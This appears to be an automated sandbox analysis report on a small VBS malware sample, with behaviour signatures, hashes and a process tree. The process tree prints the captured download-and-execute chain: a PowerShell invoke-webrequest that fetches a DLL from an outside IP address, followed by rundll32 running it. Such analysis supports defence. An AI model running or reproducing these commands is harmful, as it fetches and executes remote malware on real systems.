Analysis

  • max time kernel
    149s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 13:59

General

  • Target
    tmp88nv0u7x.vbs
  • Size 1KB
  • Sample260522-ractvafv7w
  • SHA256 e7407a0fe469fda07809db9a264e4c423d9f740344abca7675e9e78a9ede9f3c
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmp88nv0u7x.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://128.140.97.33/6fc0ob45c6.dll' -outfile 'c:\users\public\name.dll';
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
      2⤵
        PID:568

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_sxxk1t2s.bts.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxxk1t2s.bts.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1816-0-0x00000183A68B0000-0x00000183A68C0000-memory.dmp

          memory/1816-1-0x00000183A6B70000-0x00000183A6B92000-memory.dmp

          memory/1816-8-0x00000183A68B0000-0x00000183A68C0000-memory.dmp

          memory/1816-9-0x00000183A68B0000-0x00000183A68C0000-memory.dmp

          memory/1816-10-0x00000183A68B0000-0x00000183A68C0000-memory.dmp